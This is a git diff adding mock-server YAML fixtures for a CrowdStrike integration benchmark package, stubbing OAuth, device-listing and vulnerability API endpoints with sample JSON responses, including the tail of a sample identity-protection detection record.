+                "falcon_host_link": "https://falcon.crowdstrike.com/identity-protection/detections/4446934rf3fdb64ec3056ddfb96e:ind:4446934rf3fdb64ec3056ddfb96e:5876E98F-D91B-48AC-8FFC-1191C663A1E9?_cid=g0300034lfy3zjobdz7ewb4xjqyjsy5a",
+                "id": "ind:4446934rf3fdb64ec3056ddfb96e:87934F-M00B-48CC-0AAC-dfafd3429",
+                "idp_policy_mfa_factor_type": "42669",
+                "idp_policy_mfa_provider": "11",
+                "idp_policy_rule_id": "123324-343-4dfa9E0-8F85-dfaa3242",
+                "idp_policy_rule_name": "admin - RDP Access to TIER-0 Servers",
+                "name": "IdpPolicyIdentityVerificationDenied",
+                "objective": "Gain Access",
+                "pattern_id": 45897,
+                "poly_id": "MJdfafdB3RpTC74xD_bZOwwVt37erewrewdWwicqVJrn1DHb_UVfrn1QTiE4zCVgvIYhKPq8wZOGu5S3BVMzfSm_y5pv8n9CypfRuw==",
+                "product": "idp",
+                "scenario": "suspicious_activity",
+                "seconds_to_resolved": 0,
+                "seconds_to_triaged": 0,
+                "severity": 79,
+                "severity_name": "Medium",
+                "show_in_ui": true,
+                "source_account_azure_id": "65ddx-c454-324d-9034-Fdf34353",
+                "source_account_domain": "BCD.example.com",
+                "source_account_name": "admin.example",
+                "source_account_object_sid": "S-14-5424-21-dfaf3-234343-3434-1117733",
+                "source_account_sam_account_name": "admin.abcdef",
+                "source_account_upn": "admin.abcdef@example.com",
+                "source_endpoint_account_object_guid": "FDHJJ343-098C-4629-9437-DD3424GHJ",
+                "source_endpoint_address_ip4": "81.2.69.144",
+                "source_endpoint_host_name": "ABDC454.net.example.com",
+                "source_endpoint_ip_address": "81.2.69.144",
+                "source_endpoint_sensor_id": "38293523261gh48c99ffd234c6190123536e",
+                "source_products": [
+                  "Falcon Identity Protection"
+                ],
+                "source_vendors": [
+                  "CrowdStrike"
+                ],
+                "start_time": "2024-08-19T18:43:44.242Z",
+                "status": "new",
+                "tactic": "Credential Access",
+                "tactic_id": "TA0006",
+                "technique": "Brute Force",
+                "technique_id": "T1110",
+                "tags": [
+                  "falcon_complete"
+                ],
+                "target_account_name": "HFJFJFFFFFFF$",
+                "target_endpoint_account_object_guid": "AAAAAAAA-0000-FFFFF-000000-A302EFCC8M4536",
+                "target_endpoint_account_object_sid": "S-1-5-21-HG43242JJ-1844237615-18dfa1674531-298236",
+                "target_endpoint_host_name": "GH787.abc.example.com",
+                "target_endpoint_sensor_id": "afdsasf3423432nndv3432v",
+                "timestamp": "2024-08-19T18:44:01.1Z",
+                "type": "idp-user-endpoint-app-info",
+                "updated_timestamp": "2024-08-19T18:49:02.798344752Z",
+                "user_name": "admin.abcdef",
+                "activity_browser": "Edge 126.0.0",
+                "activity_device": "LAPTOP-ADFVEJM234V",
+                "activity_os": "Windows",
+                "active_directory_authentication_method": "4",
+                "activity_id": "3A7H7C00-FFF2344-23FFFF-9199905-91245754E10099D",
+                "alert_attributes": "0",
+                "location_country_code": "US",
+                "location_latitude_as_int": 320316,
+                "location_longitude_as_int": -12729080,
+                "model_anomaly_indicators": [
+                  "ACCOUNT_IMPOSSIBLE_VELOCITY",
+                  "ENVIRONMENT_UNUSUAL_IP",
+                  "ENVIRONMENT_UNUSUAL_ISP_DOMAIN",
+                  "ISP_DATACENTER_CLASSIFICATION"
+                ],
+                "ldap_search_query_attack": "16",
+                "protocol_anomaly_classification": "1",
+                "source_account_object_guid": "78HF9842-HGG5-324F-9565-GJD47324",
+                "source_endpoint_account_object_sid": "S-1-4-21-111111111-2222222-14171121333-1045999",
+                "source_endpoint_ip_reputation": "118",
+                "source_ip_isp_classification": "8",
+                "source_ip_isp_domain": "abc.com",
+                "target_domain_controller_host_name": "GHPOTAL12578",
+                "target_domain_controller_object_guid": "59B24AA7-4GH8-f7H0-994F-B90159E7M2K1",
+                "target_domain_controller_object_sid": "S-2-8-21-333333-2222222-3431-95511",
+                "target_service_access_identifier": "HOST/root.demo.com"
+              }
+            ]
+          }
+          `}}
diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/_dev/deploy/docker/files/config-host.yml b/test/packages/benchmarks/system_benchmark_crowdstrike/_dev/deploy/docker/files/config-host.yml
new file mode 100644
index 0000000000..2b27c19c1e
--- /dev/null
+++ b/test/packages/benchmarks/system_benchmark_crowdstrike/_dev/deploy/docker/files/config-host.yml
@@ -0,0 +1,769 @@
+rules:
+  - path: /oauth2/token
+    methods: ['POST']
+    responses:
+      - status_code: 200
+        headers:
+          Content-Type:
+            - 'application/json'
+        body: |
+          {"access_token":"xxxx","expires_in":3600,"token_type":"Bearer","refresh_token":"yyyy"}
+  # test cases for /devices/combined/devices/v1 endpoint 
+  - path: /devices/combined/devices/v1
+    methods: ['GET']
+    query_params:
+      offset: page-2
+      limit: 1
+      sort: modified_timestamp|asc
+    responses:
+      - status_code: 200
+        headers:
+          Content-Type:
+            - application/json
+        body: |-
+          {{ minify_json `
+          {
+            "meta": {
+              "pagination": {
+                "total": 3,
+                "limit": 1,
+                "offset": ""
+              }
+            },
+            "errors": [],
+            "resources": [
+              {
+                "agent_load_flags": "0",
+                "agent_local_time": "2023-11-07T04:51:16.678Z",
+                "agent_version": "7.05.17603.0",
+                "bios_manufacturer": "ABCInc.",
+                "bios_version": "2020.0.1.0.0(iBridge:22.11.000.0.0,0)",
+                "chassis_type": "9",
+                "chassis_type_desc": "Laptop",
+                "cid": "92012896127c4948236ba7601b886b0",
+                "config_id_base": "6594763",
+                "config_id_build": "1703",
+                "config_id_platform": "4",
+                "connection_ip": "81.2.69.192",
+                "cpu_signature": "460517",
+                "device_id": "3114433dbce478ca48d9a828b9b34be",
+                "device_policies": {
+                  "device_control": {
+                    "applied": true,
+                    "applied_date": "2023-06-20T08:45:26.341093915Z",
+                    "assigned_date": "2023-06-20T08:43:47.736146738Z",
+                    "policy_id": "2f88daf0177f467dae69262a5ce71775",
+                    "policy_type": "device-control"
+                  },
+                  "firewall": {
+                    "applied": true,
+                    "applied_date": "2023-09-11T10:33:44.174488832Z",
+                    "assigned_date": "2023-09-11T10:32:47.853976945Z",
+                    "policy_id": "1ee301f7e3e24e96ad6a23c73aaac1e3",
+                    "policy_type": "firewall",
+                    "rule_set_id": "1ee301f7e3e24e96ad6a23c73aaac1e3"
+                  },
+                  "global_config": {
+                    "applied": true,
+                    "applied_date": "2023-11-07T04:52:59.515775409Z",
+                    "assigned_date": "2023-11-07T04:51:18.94671252Z",
+                    "policy_id": "7e3078b60976486cac5dc998808d9135",
+                    "policy_type": "globalconfig",
+                    "settings_hash": "f01def74"
+                  },
+                  "prevention": {
+                    "applied": true,
+                    "applied_date": "2023-06-08T10:04:47.643357971Z",
+                    "assigned_date": "2023-06-08T10:03:49.505180252Z",
+                    "policy_id": "1024fac1b279424fa7300b8ac2d56be5",
+                    "policy_type": "prevention",
+                    "rule_groups": [],
+                    "settings_hash": "f7a54ca1"
+                  },
+                  "remote_response": {
+                    "applied": true,
+                    "applied_date": "2023-06-08T10:04:47.01735027Z",
+                    "assigned_date": "2023-06-08T10:03:49.505163572Z",
+                    "policy_id": "dabb4def99034f11b9b3d52271584c9f",
+                    "policy_type": "remote-response",
+                    "settings_hash": "8a548e5e"
+                  },
+                  "sensor_update": {
+                    "applied": true,
+                    "applied_date": "2023-11-07T04:52:59.659583066Z",
+                    "assigned_date": "2023-11-07T04:47:43.342175341Z",
+                    "policy_id": "64bfa2bbcd4e46da92a66b107933da11",
+                    "policy_type": "sensor-update",
+                    "settings_hash": "tagged|18;101",
+                    "uninstall_protection": "ENABLED"
+                  }
+                },
+                "external_ip": "81.2.69.192",
+                "first_seen": "2023-06-08T10:00:19Z",
+                "group_hash": "b607fe25348a46d421ff46e19741b0caf5bbc70bb6da1637f56e97b4e1454d77",
+                "groups": [
+                  "182388a8dbea4c44b5e019cfd32c2695"
+                ],
+                "hostname": "CLM101-131.local",
+                "kernel_version": "22.6.0",
+                "last_seen": "2023-11-07T10:25:24Z",
+                "local_ip": "81.2.69.142",
+                "mac_address": "14-7d-da-ad-ac-71",
+                "machine_domain": "SYS",
+                "major_version": "22",
+                "meta": {
+                  "version": "6002",
+                  "version_string": "7:43570272778"
+                },
+                "minor_version": "6",
+                "modified_timestamp": "2023-11-07T10:26:53Z",
+                "os_build": "22G120",
+                "os_version": "Ventura(13)",
+                "platform_id": "1",
+                "platform_name": "Mac",
+                "policies": [
+                  {
+                    "applied": true,
+                    "applied_date": "2023-06-08T10:04:47.643357971Z",
+                    "assigned_date": "2023-06-08T10:03:49.505180252Z",
+                    "policy_id": "1024fac1b279424fa7300b8ac2d56be5",
+                    "policy_type": "prevention",
+                    "rule_groups": [],
+                    "settings_hash": "f7a54ca1"
+                  }
+                ],
+                "product_type_desc": "Workstation",
+                "provision_status": "Provisioned",
+                "reduced_functionality_mode": "no",
+                "serial_number": "FVFDH73HMNHX",
+                "site_name": "Default-First-Site-Name",
+                "status": "normal",
+                "system_manufacturer": "ABCInc.",
+                "system_product_name": "Air,1",
+                "tags": [
+                  "tags"
+                ]
+              }
+            ]
+          }
+          `}}
+  - path: /devices/combined/devices/v1
+    methods: ['GET']
+    query_params:
+      offset: page-1
+      limit: 1
+      sort: modified_timestamp|asc
+    responses:
+      - status_code: 200
+        headers:
+          Content-Type:
+            - application/json
+        body: |-
+          {{ minify_json `
+          {
+            "meta": {
+              "pagination": {
+                "total": 3,
+                "limit": 1,
+                "offset": "",
+                "next": "page-2"
+              }
+            },
+            "errors": [],
+            "resources": [
+              {
+                "agent_load_flags": "0",
+                "agent_local_time": "2023-11-07T04:51:16.678Z",
+                "agent_version": "7.05.17603.0",
+                "bios_manufacturer": "ABCInc.",
+                "bios_version": "2020.0.1.0.0(iBridge:22.11.000.0.0,0)",
+                "chassis_type": "9",
+                "chassis_type_desc": "Laptop",
+                "cid": "92012896127c4948236ba7601b886b0",
+                "config_id_base": "6594763",
+                "config_id_build": "1703",
+                "config_id_platform": "4",
+                "connection_ip": "81.2.69.192",
+                "cpu_signature": "460517",
+                "device_id": "3114433dbce478ca48d9a828b9b34be",
+                "device_policies": {
+                  "device_control": {
+                    "applied": true,
+                    "applied_date": "2023-06-20T08:45:26.341093915Z",
+                    "assigned_date": "2023-06-20T08:43:47.736146738Z",
+                    "policy_id": "3f88daf0177f467dae69262a5ce71775",
+                    "policy_type": "device-control"
+                  },
+                  "firewall": {
+                    "applied": true,
+                    "applied_date": "2023-09-11T10:33:44.174488832Z",
+                    "assigned_date": "2023-09-11T10:32:47.853976945Z",
+                    "policy_id": "1ee301f7e3e24e96ad6a23c73aaac1e3",
+                    "policy_type": "firewall",
+                    "rule_set_id": "1ee301f7e3e24e96ad6a23c73aaac1e3"
+                  },
+                  "global_config": {
+                    "applied": true,
+                    "applied_date": "2023-11-07T04:52:59.515775409Z",
+                    "assigned_date": "2023-11-07T04:51:18.94671252Z",
+                    "policy_id": "7e3078b60976486cac5dc998808d9135",
+                    "policy_type": "globalconfig",
+                    "settings_hash": "f01def74"
+                  },
+                  "prevention": {
+                    "applied": true,
+                    "applied_date": "2023-06-08T10:04:47.643357971Z",
+                    "assigned_date": "2023-06-08T10:03:49.505180252Z",
+                    "policy_id": "1024fac1b279424fa7300b8ac2d56be5",
+                    "policy_type": "prevention",
+                    "rule_groups": [],
+                    "settings_hash": "f7a54ca1"
+                  },
+                  "remote_response": {
+                    "applied": true,
+                    "applied_date": "2023-06-08T10:04:47.01735027Z",
+                    "assigned_date": "2023-06-08T10:03:49.505163572Z",
+                    "policy_id": "dabb4def99034f11b9b3d52271584c9f",
+                    "policy_type": "remote-response",
+                    "settings_hash": "8a548e5e"
+                  },
+                  "sensor_update": {
+                    "applied": true,
+                    "applied_date": "2023-11-09T04:52:59.659583066Z",
+                    "assigned_date": "2023-11-09T04:47:43.342175341Z",
+                    "policy_id": "74bfa2bbcd4e46da92a66b107933da11",
+                    "policy_type": "sensor-update",
+                    "settings_hash": "tagged|18;101",
+                    "uninstall_protection": "ENABLED"
+                  }
+                },
+                "external_ip": "81.2.69.192",
+                "first_seen": "2023-06-09T10:00:19Z",
+                "group_hash": "c607fe25348a46d421ff46e19741b0caf5bbc70bb6da1637f56e97b4e1454d77",
+                "groups": [
+                  "882388a8dbea4c44b5e019cfd32c2695"
+                ],
+                "hostname": "CLM101-141.local",
+                "kernel_version": "22.6.0",
+                "last_seen": "2023-11-09T10:25:24Z",
+                "local_ip": "81.2.69.142",
+                "mac_address": "14-7d-da-ad-ac-71",
+                "machine_domain": "SYS",
+                "major_version": "22",
+                "meta": {
+                  "version": "6002",
+                  "version_string": "7:43570272778"
+                },
+                "minor_version": "6",
+                "modified_timestamp": "2023-11-09T10:26:53Z",
+                "os_build": "22G120",
+                "os_version": "Ventura(13)",
+                "platform_id": "1",
+                "platform_name": "Mac",
+                "policies": [
+                  {
+                    "applied": true,
+                    "applied_date": "2023-06-09T10:04:47.643357971Z",
+                    "assigned_date": "2023-06-09T10:03:49.505180252Z",
+                    "policy_id": "2024fac1b279424fa7300b8ac2d56be5",
+                    "policy_type": "prevention",
+                    "rule_groups": [],
+                    "settings_hash": "m7a54ca1"
+                  }
+                ],
+                "product_type_desc": "Workstation",
+                "provision_status": "Provisioned",
+                "reduced_functionality_mode": "no",
+                "serial_number": "FVVDH73HMNHX",
+                "site_name": "Default-First-Site-Name",
+                "status": "normal",
+                "system_manufacturer": "ABCInc.",
+                "system_product_name": "Air,1",
+                "tags": [
+                  "tags"
+                ]
+              }
+            ]
+          }
+          `}}
+  - path: /devices/combined/devices/v1
+    methods: ['GET']
+    query_params:
+      limit: 1
+      sort: modified_timestamp|asc
+    responses:
+      - status_code: 200
+        headers:
+          Content-Type:
+            - application/json
+        body: |-
+          {{ minify_json `
+          {
+            "meta": {
+              "pagination": {
+                "total": 3,
+                "limit": 1,
+                "offset": "",
+                "next": "page-1"
+              }
+            },
+            "errors": [],
+            "resources": [
+              {
+                "agent_load_flags": "0",
+                "agent_local_time": "2023-11-07T04:51:16.678Z",
+                "agent_version": "7.05.17603.0",
+                "bios_manufacturer": "ABCInc.",
+                "bios_version": "2020.0.1.0.0(iBridge:22.11.000.0.0,0)",
+                "chassis_type": "9",
+                "chassis_type_desc": "Laptop",
+                "cid": "12345696127c4948236ba7601b886b0",
+                "config_id_base": "6594763",
+                "config_id_build": "1703",
+                "config_id_platform": "4",
+                "connection_ip": "81.2.69.192",
+                "cpu_signature": "460517",
+                "device_id": "3114433dbce478ca48d9a828b9b34be",
+                "device_policies": {
+                  "device_control": {
+                    "applied": true,
+                    "applied_date": "2023-06-20T08:45:26.341093915Z",
+                    "assigned_date": "2023-06-20T08:43:47.736146738Z",
+                    "policy_id": "3f88daf0177f467dae69262a5ce71775",
+                    "policy_type": "device-control"
+                  },
+                  "firewall": {
+                    "applied": true,
+                    "applied_date": "2023-09-11T10:33:44.174488832Z",
+                    "assigned_date": "2023-09-11T10:32:47.853976945Z",
+                    "policy_id": "1ee301f7e3e24e96ad6a23c73aaac1e3",
+                    "policy_type": "firewall",
+                    "rule_set_id": "1ee301f7e3e24e96ad6a23c73aaac1e3"
+                  },
+                  "global_config": {
+                    "applied": true,
+                    "applied_date": "2023-11-07T04:52:59.515775409Z",
+                    "assigned_date": "2023-11-07T04:51:18.94671252Z",
+                    "policy_id": "7e3078b60976486cac5dc998808d9135",
+                    "policy_type": "globalconfig",
+                    "settings_hash": "f01def74"
+                  },
+                  "prevention": {
+                    "applied": true,
+                    "applied_date": "2023-06-08T10:04:47.643357971Z",
+                    "assigned_date": "2023-06-08T10:03:49.505180252Z",
+                    "policy_id": "1024fac1b279424fa7300b8ac2d56be5",
+                    "policy_type": "prevention",
+                    "rule_groups": [],
+                    "settings_hash": "f7a54ca1"
+                  },
+                  "remote_response": {
+                    "applied": true,
+                    "applied_date": "2023-06-08T10:04:47.01735027Z",
+                    "assigned_date": "2023-06-08T10:03:49.505163572Z",
+                    "policy_id": "dabb4def99034f11b9b3d52271584c9f",
+                    "policy_type": "remote-response",
+                    "settings_hash": "8a548e5e"
+                  },
+                  "sensor_update": {
+                    "applied": true,
+                    "applied_date": "2023-11-09T04:52:59.659583066Z",
+                    "assigned_date": "2023-11-09T04:47:43.342175341Z",
+                    "policy_id": "74bfa2bbcd4e46da92a66b107933da11",
+                    "policy_type": "sensor-update",
+                    "settings_hash": "tagged|18;101",
+                    "uninstall_protection": "ENABLED"
+                  }
+                },
+                "external_ip": "81.2.69.192",
+                "first_seen": "2023-06-09T10:00:19Z",
+                "group_hash": "c607fe25348a46d421ff46e19741b0caf5bbc70bb6da1637f56e97b4e1454d77",
+                "groups": [
+                  "882388a8dbea4c44b5e019cfd32c2695"
+                ],
+                "hostname": "CLM101-141.local",
+                "kernel_version": "22.6.0",
+                "last_seen": "2023-11-09T10:25:24Z",
+                "local_ip": "81.2.69.142",
+                "mac_address": "14-7d-da-ad-ac-71",
+                "machine_domain": "SYS",
+                "major_version": "22",
+                "meta": {
+                  "version": "6002",
+                  "version_string": "7:43570272778"
+                },
+                "minor_version": "6",
+                "modified_timestamp": "2025-11-09T10:26:53Z",
+                "os_build": "22G120",
+                "os_version": "Ventura(13)",
+                "platform_id": "1",
+                "platform_name": "Mac",
+                "policies": [
+                  {
+                    "applied": true,
+                    "applied_date": "2023-06-09T10:04:47.643357971Z",
+                    "assigned_date": "2023-06-09T10:03:49.505180252Z",
+                    "policy_id": "2024fac1b279424fa7300b8ac2d56be5",
+                    "policy_type": "prevention",
+                    "rule_groups": [],
+                    "settings_hash": "m7a54ca1"
+                  }
+                ],
+                "product_type_desc": "Workstation",
+                "provision_status": "Provisioned",
+                "reduced_functionality_mode": "no",
+                "serial_number": "FVVDH73HMNHX",
+                "site_name": "Default-First-Site-Name",
+                "status": "normal",
+                "system_manufacturer": "ABCInc.",
+                "system_product_name": "Air,1",
+                "tags": [
+                  "tags"
+                ]
+              }
+            ]
+          }
+          `}}
+
+  # test cases for /devices/queries/devices/v1 endpoint
+  - path: /devices/queries/devices/v1
+    methods: ['GET']
+    query_params:
+      offset: 0
+      limit: 1
+    responses:
+      - status_code: 200
+        headers:
+          Content-Type:
+            - application/json
+        body: |
+          {{ minify_json `
+          {
+            "meta": {
+              "query_time": 0.017724698,
+              "pagination": {
+                "offset": 0,
+                "limit": 1,
+                "total": 3
+              },
+              "writes": {
+                "resources_affected": 0
+              },
+              "powered_by": "detectsapi",
+              "trace_id": "a21557a2-abd0-4363-9293-727c38084b3b"
+            },
+            "resources": [
+              "abc"
+            ]
+          }
+          `}}
+  - path: /devices/queries/devices/v1
+    methods: ['GET']
+    query_params:
+      offset: 1
+      limit: 1
+    responses:
+      - status_code: 200
+        headers:
+          Content-Type:
+            - application/json
+        body: |
+          {{ minify_json `
+          {
+            "meta": {
+              "query_time": 0.017724698,
+              "pagination": {
+                "offset": 1,
+                "limit": 1,
+                "total": 3
+              },
+              "writes": {
+                "resources_affected": 0
+              },
+              "powered_by": "detectsapi",
+              "trace_id": "b21557a2-abd0-4363-9293-727c384b3b"
+            },
+            "resources": [
+              "def"
+            ]
+          }
+          `}}
+  - path: /devices/queries/devices/v1
+    methods: ['GET']
+    query_params:
+      offset: 2
+      limit: 1
+    responses:
+      - status_code: 200
+        headers:
+          Content-Type:
+            - application/json
+        body: |
+          {{ minify_json `
+          {
+            "meta": {
+              "query_time": 0.017725698,
+              "pagination": {
+                "offset": 2,
+                "limit": 1,
+                "total": 2
+              },
+              "writes": {
+                "resources_affected": 0
+              },
+              "powered_by": "detectsapi",
+              "trace_id": "a31557a2-abd0-4363-9293-727c384b3b"
+            },
+            "resources": []
+          }
+          `}}
+  - path: /devices/entities/devices/v2
+    methods: ['POST']
+    request_body: /.*"abc"*/
+    responses:
+      - status_code: 200
+        headers:
+          Content-Type:
+            - application/json
+        body: |-
+          {
+           "resources":[
+              {
+                 "agent_load_flags":"0",
+                 "agent_local_time":"2023-11-07T04:51:16.678Z",
+                 "agent_version":"7.05.17603.0",
+                 "bios_manufacturer":"ABCInc.",
+                 "bios_version":"2020.0.1.0.0(iBridge:22.11.000.0.0,0)",
+                 "chassis_type":"9",
+                 "chassis_type_desc":"Laptop",
+                 "cid":"92012896127c4948236ba7601b886b0",
+                 "config_id_base":"6594763",
+                 "config_id_build":"1703",
+                 "config_id_platform":"4",
+                 "connection_ip":"81.2.69.192",
+                 "cpu_signature":"460517",
+                 "device_id":"3114433dbce478ca48d9a828b9b34be",
+                 "device_policies":{
+                    "device_control":{
+                       "applied":true,
+                       "applied_date":"2023-06-20T08:45:26.341093915Z",
+                       "assigned_date":"2023-06-20T08:43:47.736146738Z",
+                       "policy_id":"2f88daf0177f467dae69262a5ce71775",
+                       "policy_type":"device-control"
+                    },
+                    "firewall":{
+                       "applied":true,
+                       "applied_date":"2023-09-11T10:33:44.174488832Z",
+                       "assigned_date":"2023-09-11T10:32:47.853976945Z",
+                       "policy_id":"1ee301f7e3e24e96ad6a23c73aaac1e3",
+                       "policy_type":"firewall",
+                       "rule_set_id":"1ee301f7e3e24e96ad6a23c73aaac1e3"
+                    },
+                    "global_config":{
+                       "applied":true,
+                       "applied_date":"2023-11-07T04:52:59.515775409Z",
+                       "assigned_date":"2023-11-07T04:51:18.94671252Z",
+                       "policy_id":"7e3078b60976486cac5dc998808d9135",
+                       "policy_type":"globalconfig",
+                       "settings_hash":"f01def74"
+                    },
+                    "prevention":{
+                       "applied":true,
+                       "applied_date":"2023-06-08T10:04:47.643357971Z",
+                       "assigned_date":"2023-06-08T10:03:49.505180252Z",
+                       "policy_id":"1024fac1b279424fa7300b8ac2d56be5",
+                       "policy_type":"prevention",
+                       "rule_groups":[],
+                       "settings_hash":"f7a54ca1"
+                    },
+                    "remote_response":{
+                       "applied":true,
+                       "applied_date":"2023-06-08T10:04:47.01735027Z",
+                       "assigned_date":"2023-06-08T10:03:49.505163572Z",
+                       "policy_id":"dabb4def99034f11b9b3d52271584c9f",
+                       "policy_type":"remote-response",
+                       "settings_hash":"8a548e5e"
+                    },
+                    "sensor_update":{
+                       "applied":true,
+                       "applied_date":"2023-11-07T04:52:59.659583066Z",
+                       "assigned_date":"2023-11-07T04:47:43.342175341Z",
+                       "policy_id":"64bfa2bbcd4e46da92a66b107933da11",
+                       "policy_type":"sensor-update",
+                       "settings_hash":"tagged|18;101",
+                       "uninstall_protection":"ENABLED"
+                    }
+                 },
+                 "external_ip":"81.2.69.192",
+                 "first_seen":"2023-06-08T10:00:19Z",
+                 "group_hash":"b607fe25348a46d421ff46e19741b0caf5bbc70bb6da1637f56e97b4e1454d77",
+                 "groups":[
+                    "182388a8dbea4c44b5e019cfd32c2695"
+                 ],
+                 "hostname":"CLM101-131.local",
+                 "kernel_version":"22.6.0",
+                 "last_seen":"2023-11-07T10:25:24Z",
+                 "local_ip":"81.2.69.142",
+                 "mac_address":"14-7d-da-ad-ac-71",
+                 "machine_domain":"SYS",
+                 "major_version":"22",
+                 "meta":{
+                    "version":"6002",
+                    "version_string":"7:43570272778"
+                 },
+                 "minor_version":"6",
+                 "modified_timestamp":"2023-11-07T10:26:53Z",
+                 "os_build":"22G120",
+                 "os_version":"Ventura(13)",
+                 "platform_id":"1",
+                 "platform_name":"Mac",
+                 "policies":[
+                    {
+                       "applied":true,
+                       "applied_date":"2023-06-08T10:04:47.643357971Z",
+                       "assigned_date":"2023-06-08T10:03:49.505180252Z",
+                       "policy_id":"1024fac1b279424fa7300b8ac2d56be5",
+                       "policy_type":"prevention",
+                       "rule_groups":[],
+                       "settings_hash":"f7a54ca1"
+                    }
+                 ],
+                 "product_type_desc":"Workstation",
+                 "provision_status":"Provisioned",
+                 "reduced_functionality_mode":"no",
+                 "serial_number":"FVFDH73HMNHX",
+                 "site_name":"Default-First-Site-Name",
+                 "status":"normal",
+                 "system_manufacturer":"ABCInc.",
+                 "system_product_name":"Air,1",
+                 "tags":[
+                    "tags"
+                 ]
+              }
+           ]
+          }
+  - path: /devices/entities/devices/v2
+    methods: ['POST']
+    request_body: /.*"def"*/
+    responses:
+      - status_code: 200
+        headers:
+          Content-Type:
+            - application/json
+        body: |-
+          {
+           "resources":[
+              {
+                 "agent_load_flags":"0",
+                 "agent_local_time":"2023-11-07T04:51:16.678Z",
+                 "agent_version":"7.05.17603.0",
+                 "bios_manufacturer":"ABCInc.",
+                 "bios_version":"2020.0.1.0.0(iBridge:22.11.000.0.0,0)",
+                 "chassis_type":"9",
+                 "chassis_type_desc":"Laptop",
+                 "cid":"92012896127c4948236ba7601b886b0",
+                 "config_id_base":"6594763",
+                 "config_id_build":"1703",
+                 "config_id_platform":"4",
+                 "connection_ip":"81.2.69.192",
+                 "cpu_signature":"460517",
+                 "device_id":"3114433dbce478ca48d9a828b9b34be",
+                 "device_policies":{
+                    "device_control":{
+                       "applied":true,
+                       "applied_date":"2023-06-20T08:45:26.341093915Z",
+                       "assigned_date":"2023-06-20T08:43:47.736146738Z",
+                       "policy_id":"3f88daf0177f467dae69262a5ce71775",
+                       "policy_type":"device-control"
+                    },
+                    "firewall":{
+                       "applied":true,
+                       "applied_date":"2023-09-11T10:33:44.174488832Z",
+                       "assigned_date":"2023-09-11T10:32:47.853976945Z",
+                       "policy_id":"1ee301f7e3e24e96ad6a23c73aaac1e3",
+                       "policy_type":"firewall",
+                       "rule_set_id":"1ee301f7e3e24e96ad6a23c73aaac1e3"
+                    },
+                    "global_config":{
+                       "applied":true,
+                       "applied_date":"2023-11-07T04:52:59.515775409Z",
+                       "assigned_date":"2023-11-07T04:51:18.94671252Z",
+                       "policy_id":"7e3078b60976486cac5dc998808d9135",
+                       "policy_type":"globalconfig",
+                       "settings_hash":"f01def74"
+                    },
+                    "prevention":{
+                       "applied":true,
+                       "applied_date":"2023-06-08T10:04:47.643357971Z",
+                       "assigned_date":"2023-06-08T10:03:49.505180252Z",
+                       "policy_id":"1024fac1b279424fa7300b8ac2d56be5",
+                       "policy_type":"prevention",
+                       "rule_groups":[],
+                       "settings_hash":"f7a54ca1"
+                    },
+                    "remote_response":{
+                       "applied":true,
+                       "applied_date":"2023-06-08T10:04:47.01735027Z",
+                       "assigned_date":"2023-06-08T10:03:49.505163572Z",
+                       "policy_id":"dabb4def99034f11b9b3d52271584c9f",
+                       "policy_type":"remote-response",
+                       "settings_hash":"8a548e5e"
+                    },
+                    "sensor_update":{
+                       "applied":true,
+                       "applied_date":"2023-11-09T04:52:59.659583066Z",
+                       "assigned_date":"2023-11-09T04:47:43.342175341Z",
+                       "policy_id":"74bfa2bbcd4e46da92a66b107933da11",
+                       "policy_type":"sensor-update",
+                       "settings_hash":"tagged|18;101",
+                       "uninstall_protection":"ENABLED"
+                    }
+                 },
+                 "external_ip":"81.2.69.192",
+                 "first_seen":"2023-06-09T10:00:19Z",
+                 "group_hash":"c607fe25348a46d421ff46e19741b0caf5bbc70bb6da1637f56e97b4e1454d77",
+                 "groups":[
+                    "882388a8dbea4c44b5e019cfd32c2695"
+                 ],
+                 "hostname":"CLM101-141.local",
+                 "kernel_version":"22.6.0",
+                 "last_seen":"2023-11-09T10:25:24Z",
+                 "local_ip":"81.2.69.142",
+                 "mac_address":"14-7d-da-ad-ac-71",
+                 "machine_domain":"SYS",
+                 "major_version":"22",
+                 "meta":{
+                    "version":"6002",
+                    "version_string":"7:43570272778"
+                 },
+                 "minor_version":"6",
+                 "modified_timestamp":"2023-11-09T10:26:53Z",
+                 "os_build":"22G120",
+                 "os_version":"Ventura(13)",
+                 "platform_id":"1",
+                 "platform_name":"Mac",
+                 "policies":[
+                    {
+                       "applied":true,
+                       "applied_date":"2023-06-09T10:04:47.643357971Z",
+                       "assigned_date":"2023-06-09T10:03:49.505180252Z",
+                       "policy_id":"2024fac1b279424fa7300b8ac2d56be5",
+                       "policy_type":"prevention",
+                       "rule_groups":[],
+                       "settings_hash":"m7a54ca1"
+                    }
+                 ],
+                 "product_type_desc":"Workstation",
+                 "provision_status":"Provisioned",
+                 "reduced_functionality_mode":"no",
+                 "serial_number":"FVVDH73HMNHX",
+                 "site_name":"Default-First-Site-Name",
+                 "status":"normal",
+                 "system_manufacturer":"ABCInc.",
+                 "system_product_name":"Air,1",
+                 "tags":[
+                    "tags"
+                 ]
+              }
+           ]
+          }
diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/_dev/deploy/docker/files/config-vulnerability.yml b/test/packages/benchmarks/system_benchmark_crowdstrike/_dev/deploy/docker/files/config-vulnerability.yml
new file mode 100644
index 0000000000..b1a9fa8973
--- /dev/null
+++ b/test/packages/benchmarks/system_benchmark_crowdstrike/_dev/deploy/docker/files/config-vulnerability.yml
@@ -0,0 +1,643 @@
+rules:
+  - path: /oauth2/token
+    methods: ['POST']
+    responses:
+      - status_code: 200
+        headers:
+          Content-Type:
+            - 'application/json'
+        body: |
+          {"access_token":"xxxx","expires_in":1799,"token_type":"bearer"}
+  - path: /spotlight/combined/vulnerabilities/v1
+    methods: ['GET']
+    query_params:
+      limit: 1
+      after: page-3
+    responses:
+      - status_code: 200
+        headers:
+          Content-Type:
+            - application/json
+        body: |-
+          {{ minify_json `
+          {
+            "meta": {
+              "query_time": 0.467386633,
+              "pagination": {
+                "limit": 1,
+                "total": 3,
+                "after": ""
+              },
+              "powered_by": "spapi",
+              "trace_id": "810254d8-a768-4def-a2a4-192ad762dbcd"
+            },
+            "resources": [
+              {
+                "id": "897580adb4ab4540a457536faa42de18_eda961728a22320da280bd9d181a798b",
+                "cid": "2cd98db1a47b4c98b913c94d43bfab70",
+                "aid": "897580adb4ab4540a357536faa41de18",
+                "vulnerability_id": "CVE-2024-26719",
+                "data_providers": [
+                  {
+                    "provider": "Falcon sensor"
+                  }
+                ],
+                "created_timestamp": "2025-07-24T13:42:05Z",
+                "updated_timestamp": "2025-07-29T00:53:18Z",
+                "status": "open",
